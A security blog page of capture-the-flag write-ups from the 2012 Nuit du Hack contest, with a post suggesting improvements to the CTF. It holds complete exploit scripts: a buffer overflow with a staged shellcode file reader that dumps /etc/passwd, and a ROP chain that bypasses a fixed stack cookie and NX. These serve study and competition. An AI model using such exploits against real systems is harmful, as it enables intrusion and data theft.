codezen.fr code hacking, zen coding

2Jul/12Off

NDH2k12 Public Wargame – Break Me Like Your Sister – zomb_crypt

Posted by aXs

$ ls -la
total 64
-rw-r--r-- 1 francois francois 38120 Jun 30 01:29 crypto-1.jpg
-rw-r--r-- 1 francois francois 3226 Jun 13 20:50 zomb_crypt.pyc

$ file *
crypto-1.jpg: JPEG image data, JFIF standard 1.01
zomb_crypt.pyc: python 2.6 byte-compiled

$ python
Python 2.6.6 (r266:84292, Dec 27 2010, 00:02:40)
[GCC 4.4.5] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import zomb_crypt
>>> import dis
>>> dir(zomb_crypt)
['Blowfish', 'PasswordError', '__builtins__', '__doc__', '__file__', '__name__', '__package__', 'decode', 'decrypt', 'encrypt', 'getbf', 'hash', 'sys']
>>> dis.dis(zomb_crypt.decrypt)
52 0 SETUP_EXCEPT 190 (to 193)

53 3 LOAD_GLOBAL 0 (open)
6 LOAD_FAST 0 (filename_in)
9 LOAD_CONST 1 ('rb')
12 CALL_FUNCTION 2
15 LOAD_ATTR 1 (read)
18 CALL_FUNCTION 0
21 STORE_FAST 3 (content)

read file content to content variable

54 24 LOAD_GLOBAL 2 (len)
27 LOAD_FAST 3 (content)
30 CALL_FUNCTION 1
33 LOAD_CONST 2 (16)
36 COMPARE_OP 0 (<) 39 JUMP_IF_FALSE 5 (to 47) 42 POP_TOP goodbye if len(content) < 16 55 43 LOAD_GLOBAL 3 (False) 46 RETURN_VALUE >> 47 POP_TOP

56 48 LOAD_FAST 3 (content)
51 LOAD_CONST 2 (16)
54 SLICE+2
55 STORE_FAST 4 (_hash)

First 16 bytes of file is a hash, store it in _hash

57 58 LOAD_GLOBAL 4 (hash)
61 LOAD_FAST 2 (password)
64 CALL_FUNCTION 1

hash password entered by user on command-line

67 LOAD_FAST 4 (_hash)
70 COMPARE_OP 3 (!=)
73 JUMP_IF_FALSE 13 (to 89)

if hash(user password) != stored _hash, goodbye. And we don't care about the rest of the disassembly because we know we must have a password that match the file stored hash.

Which kind of hash ?

>>> dis.dis(zomb_crypt.hash)
26 0 LOAD_CONST 1 ('ahky')
3 STORE_FAST 1 (a)

27 6 LOAD_CONST 2 ('12bqb')
9 STORE_FAST 2 (b)

28 12 LOAD_GLOBAL 0 (__import__)
15 LOAD_GLOBAL 1 (decode)
18 LOAD_FAST 1 (a)
21 CALL_FUNCTION 1
24 CALL_FUNCTION 1
27 STORE_FAST 3 (x)

29 30 LOAD_GLOBAL 2 (getattr)
33 LOAD_FAST 3 (x)
36 LOAD_GLOBAL 1 (decode)
39 LOAD_FAST 2 (b)
42 CALL_FUNCTION 1
45 CALL_FUNCTION 2
48 STORE_FAST 4 (y)

Obfuscated import and method name. What does decode do ? We don't care.

>>> zomb_crypt.decode('ahky')
'zlib'
>>> zomb_crypt.decode('12bqb')
'crc32'

so x = zlib, y = crc32

Nice. CRC32 is easy to bruteforce.

32 >> 83 LOAD_FAST 0 (s)
86 LOAD_CONST 4 ('_')
89 LOAD_CONST 3 (8)
92 LOAD_GLOBAL 3 (len)
95 LOAD_FAST 0 (s)
98 CALL_FUNCTION 1
101 BINARY_SUBTRACT
102 BINARY_MULTIPLY
103 BINARY_ADD
104 STORE_FAST 0 (s)

Pad password to length of 8 with '_' (toto -> toto____)

33 107 LOAD_FAST 0 (s)
110 LOAD_CONST 5 (0)
113 LOAD_CONST 6 (4)
116 SLICE+3
117 LOAD_FAST 0 (s)
120 LOAD_CONST 6 (4)
123 LOAD_CONST 3 (8)
126 SLICE+3
127 ROT_TWO
128 STORE_FAST 1 (a)
131 STORE_FAST 2 (b)

a = password[0:4]
b = password[4:8]

34 134 LOAD_CONST 7 ('%08X%08X')
137 LOAD_FAST 4 (y)
140 LOAD_FAST 1 (a)
143 CALL_FUNCTION 1
146 LOAD_CONST 8 (4294967295L)
149 BINARY_AND
150 LOAD_FAST 4 (y)
153 LOAD_FAST 2 (b)
156 CALL_FUNCTION 1
159 LOAD_CONST 8 (4294967295L)
162 BINARY_AND

Convert to a and b to CRC32

>>> import zlib
>>> zlib.crc32("toto")
281847025

$ hexdump -C crypto-1.jpg | head -1
00000000 31 44 34 34 38 31 45 31 41 32 32 43 38 43 33 42 |1D4481E1A22C8C3B|

a = 1D4481E1
b = A22C8C3B

We need to find a CRC32 value that match a and b. Using the best hash cracker: Google

http://rulus.com/tool/hash/His4
http://rulus.com/tool/hash/n00b

password is His4n00b

$ python zomb_crypt.pyc d crypto-1.jpg His4n00b
[i] Decrypting crypto-1.jpg ...
[i] OK

Share
Tagged as: , Comments Off
27Jun/12Off

How to have a great NDH2k13 CTF

Posted by aXs

I competed last week-end in La Nuit Du Hack Private CTF, the one where you needed to quality in the prequals first.

Being a positive person and not willing to discard efforts that were already made this year to sort out this CTF, this is a short list of points that could be improved so we can have a better experience next year.

  • Stop caring about hosting the team servers yourselve. Distribute a VirtualBox image at the beginning, give everybody 1 hour to sort it out and then open routing between teams. Team will be able to reboot their server, investigate extended downtime in single mode and the contest will get more realistic. Any decent laptop today has plentyful of resource to do hardware assisted virtualization.
  • Stop caring about the team firewall. The current emulated interface is cumbersome. Let the team manages it themselve directly on the VM or on the VirtualBox host. (and don't care about cheating with blocking other teams, it's already happening sometime with the current setup)
  • Change the monitoring system so that a working service do not rely on administrative credentials, this is not realistic. Changing credentials is part of everyday life for a sysadmin. Not being able to change admin credentials because the monitoring system uses it to connect to the service is unrealistic. A working service should be checked using a normal user account and patching should allow changing those default admin credentials.
  • Flags should expire after 5 minutes and should get replaced every 5 minutes by an out-of-band updates system (ssh keys for example or specific daemons). Those flags should also get checked for presence by the monitoring system. Some teams cheated by changing their flags this year and you loose a lot of time realizing that it's not your exploit that is broken.
  • Have a webservice or telnet service for easier automated flag submission.

To be honest, many of these points are already handled very well by other attack/defense CTF like RusCTFE so NDH organizers needs to have a look there.

My 2 bytes.

Comments on this blog are closed so discuss it on Twitter with me if you want.

Share
Tagged as: Comments Off
26Mar/12Off

NDH 2012 Prequals – Sciteek 4004 Write-up – Multistage file reader

Posted by aXs

The daemon on port 4004 is a fairly simple daemon that check for a password (hard-coded in the binary) and just says "You are authenticated".

What's interesting is that this daemon is running on the same server that many other challenges so we used it to fetch files and solve the URL Shortener challenge more easily by retrieving its Python source.

We have limited space for the shellcode, only 100 bytes. While you can totally read files in a 100 bytes shellcode if you don't care about error checking, I wanted something cleaner (that's the excuse for spending time to do a multi-stage exploit loader)

This exploit will:
- overflow the buffer (size is 0x100)
- Inject stage 1 loader
- Read Stage 2 from stdin
- Execute Stage 2
- Read filename to dump from stdin
- Open file with error checking
- Dump the file using a read/write loop, so you can dump file bigger than the memory
- Exit

#!/usr/bin/env python

import socket
import sys
import time
from struct import pack

if len(sys.argv) != 4:
  print '\nUsage:\t./sciteek4004.py [host] [port] [filename]'
  sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

data = s.recv(65536)
print 'Received', repr(data)

''' Stage 2 '''
''' Read filename from stdin, output to stdout '''

sc  = "\x04\x02\x01\x00\x00"  # movl r1, 0x0
sc += "\x04\x02\x00\x03\x00"  # movl r0, 0x3
sc += "\x04\x02\x02\x94\x7a"  # movl r2, 0x7b94
sc += "\x04\x02\x03\x32\x00"  # movl r3, 0x32
sc += "\x30"      # syscall (read)

sc += "\x04\x02\x00\x02\x00"  # movl r0, 0x2
sc += "\x04\x02\x01\x94\x7a"  # movl r1, 0x7b94
sc += "\x04\x02\x02\x00\x00"  # movl r2, 0x0
sc += "\x04\x00\x03\x02"  # movl r3, r2
sc += "\x30"      # syscall (open)

sc += "\x18\x02\x00\xff\xff"  # cmpl r0, 0xffff
sc += "\x10\x39\x00"    # jz +57

sc += "\x04\x00\x07\x00"  # mov r7, r0

sc += "\x04\x00\x01\x00"  # movl r1, r0
sc += "\x04\x02\x00\x03\x00"  # movl r0, 0x3
sc += "\x04\x02\x02\x00\x10"  # movl r2, 0x1000
sc += "\x04\x02\x03\xff\x00"  # movl r3, 0x32
sc += "\x30"      # syscall (read)

sc += "\x18\x01\x00\x00"  # cmpl r0, 0x0
sc += "\x10\x1a\x00"    # jz +26

sc += "\x04\x00\x03\x00"  # movl r3, r0
sc += "\x04\x02\x00\x04\x00"  # movl r0, 0x4
sc += "\x04\x02\x01\x01\x00"  # movl r1, 0x1
sc += "\x04\x02\x02\x00\x10"  # movl r2, 0x1000
sc += "\x30"      # syscall (write)

sc += "\x04\x00\x00\x07"  # mov r0, r7

sc += "\x16\xc7"    # jmps -47

sc += "\x04\x02\x00\x01\x00"  # movl r0, 0x1
sc += "\x30"      # syscall (exit)

''' Stage 1 Loader '''

loader  = "\x04\x02\x01\x00\x00"  # movl r1, 0x0
loader += "\x04\x02\x00\x03\x00"  # movl r0, 0x3
loader += "\x04\x02\x02\x00\x60"  # movl r2, 0x6000
loader += "\x04\x02\x03"    # movl r3, 0x32
loader += pack("<H", len(sc))   #   -continued
loader += "\x30"      # syscall (read)
loader += "\x04\x02\x00\x00\x60"  # movl r2, 0x6000
loader += "\x19\x03\x00"    # call *r0

if len(loader) > 100:
  print "\nShellcode too long: ", len(loader), "\n"
  sys.exit(1)

print "Shellcode size: ", len(loader), "\n"

payload = '\x02' * (100 - len(loader)) # Nopsled

print "Nopsled size: ", len(payload), "\n"

payload += loader

payload += "\x94\x7f" # To Nopsled

print "Payload size: ", len(payload), "\n"

# Send Stage 1 Loader

s.send('%s' %payload);

time.sleep(2)

# Send Stage 2

s.send('%s' %sc);

time.sleep(2)

# Send filename to download

s.send('%s' %sys.argv[3] + "\x00\n");

while 1:
    line = s.recv(65536)
    if not line:
        break
    print line

s.close()

Result:

$ python sciteek4004.py sciteek.nuitduhack.com 4004 "/etc/passwd"
Received 'Password (required): '
Shellcode size: 29

Nopsled size: 71

Payload size: 102

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spo
ol/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
sshd:x:101:65534::/var/run/sshd:/usr/sbin/nologin

Share
26Mar/12Off

NDH 2012 Prequals – Sciteek 4005 Web3 Write-up

Posted by aXs

This challenge runs under the NDH VM written specially for this CTF by Jonathan Salwan.

We are told to exploit a web server running at sciteek.nuitduhack.com:4005 to get a file named sciteek-private.txt.

We get a copy of the web server software in the file Web3.ndh which is running in the NDH VM.

$ nc sciteek.nuitduhack.com 4005
GET /
HTTP/1.0 200 OK
Content-Type : text/HTML
Content-Length : 70

Exploit Me if you can 😉

We try to overflow it:

$ nc localhost 4005
GET Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar
$

We are immediately disconnected. We need to dig in disassembly to understand why.

0x81e8 > syscall (r0 = 0x0003 - read)
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar
[SYSCALL output]: 513
0x81e9 > ret
0x84d8 > mov r0, r1
0x84dc > addl r8, #0x200
0x84e1 > pop r1
0x84e3 > cmpl r1, #0xbeef
0x84e8 > jz 0x01
0x84eb > end

This program uses a hard-coded stack cookie with a value of 0xbeef. If we overflows the buffer (max size 0x200), we will overwrite the cookie and the protection will get triggered.

So we need to send the value of the cookie in your exploit payload:

$ python -c 'print "A"*512+"\xEF\xBEAB"' | nc localhost 4005
[!] Segfault 0x4241 (opcode unknown)

We control the PC register.

Now we need to get the address of our buffer. We add a breakpoint just after the read() syscall.

0x81e4: movb r0, #0x03
0x81e8: syscall

[Console]#> bp 0x81e8
Breakpoint set in 0x81e8
...
0x81e4 > movb r0, #3
[BreakPoint 1 - 0x81e8]
0x81e8 > syscall (r0 = 0x0003 - read)
GET /
[SYSCALL output]: 6
[Console]#> show sp
7bf2: d8 84 47 45 54 20 2f 0a 00 00 <- GET /

The beginning of our buffer is at 0x7bf4.

$ python -c 'print "A"*512+"\xEF\xBE\xf4\x7b"' | nc localhost 4005
[!] Segfault 0x7bf4 (NX bit)

Unfortunately NX bit is enabled in this challenge. Against NX protection we need to use ROP.

There is many nice gadgets in the binary. What we need to find is:

- read filename from stdin
- open file with filename in memory
- read file content to memory
- write memory to stdout

generic registers setter

0x8225: pop r5
0x8227: pop r4
0x8229: pop r3
0x822b: pop r2
0x822d: pop r1
0x822f: ret

syscall open()

int open(const char *pathname, int flags, mode_t mode);

* [sys_open] r1 = uint16_t *
* r2 = uint16_t
* r3 = uint16_t

0x81d2: movb r0, #0x02
0x81d6: syscall

syscall read()

ssize_t read(int fd, void *buf, size_t count);

* [sys_read] r1 = uint16_t
* r2 = uint16_t *
* r3 = uint16_t

0x81e0: mov r1, r0
0x81e4: movb r0, #0x03
0x81e8: syscall

syscall write()

ssize_t write(int fd, const void *buf, size_t count);

* [sys_write] r1 = uint16_t
* r2 = uint16_t *
* r3 = uint16_t

0x8193: movb r0, #0x04
0x8197: syscall

We can then construct this ROP chain exploit:

#!/usr/bin/env python

import socket
import sys
from struct import pack

if len(sys.argv) != 3:
  print '\nUsage:\t./sciteek4005.py [host] [port]'
  sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])

payload = 'sciteek-private.txt\x00\n'

payload += 'A' * (512 - len(payload))

payload += pack("<H", 0xbeef) # stack cookie

payload += pack("<H", 0x8229) # pop r3 / pop r2 / pop r1 / ret
payload += pack("<H", 0x0000) # r3 = O_RDONLY
payload += pack("<H", 0x0000) # r2
payload += pack("<H", 0x7bf4) # start of our buffer

payload += pack("<H", 0x81d2) # open, FD will go in r0

payload += pack("<H", 0x8229) # pop r3 / pop r2 / pop r1 / ret
payload += pack("<H", 0x1000) # r3 = count
payload += pack("<H", 0x6000) # r2 = buffer
payload += pack("<H", 0x0000) # dummy

payload += pack("<H", 0x81e0) # mov r1, r0 / read(), r0 contains the count of bytes read

payload += pack("<H", 0x822d) # pop r1 / ret
payload += pack("<H", 0x6000) # r1 = buffer

payload += pack("<H", 0x8187) # mov r3, r0 / mov r2, r1 / movb r1, #0x01 / write()

payload += '\n'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

s.send('%s' %payload);

while 1:
    line = s.recv(65536)
    if not line:
        break
    print 'Received', repr(line)

s.close()

Result:

$ python sciteek4005.py sciteek.nuitduhack.com 4005
Received 'Dear Patrick,\n \nWe found many evidences proving there is a mole inside our company who is selling confidential materials to our main competitor, Megacortek. We have very good reasons to believe that Walter Smith have sent some emails to a contact at Megacortek, containing confidential information.\n \nHowever, these emails seems to have been encrypted and sometimes contain images or audio files which are apparently not related with our company or our business\n, but one of them contains an archive with an explicit name.\n \nWe cannot stand this situation anymore, and we should take actions to make Mr Smith leave the company: we can fire this guy or why not call the FBI to handle this case as it should be.\n \nSincerely,\n \nDavid Markham.\n'
Received '\x1b[91m[!] Segfault 0x0000 (NX bit)\x1b[0m\n'

Share
Tagged as: , , , Comments Off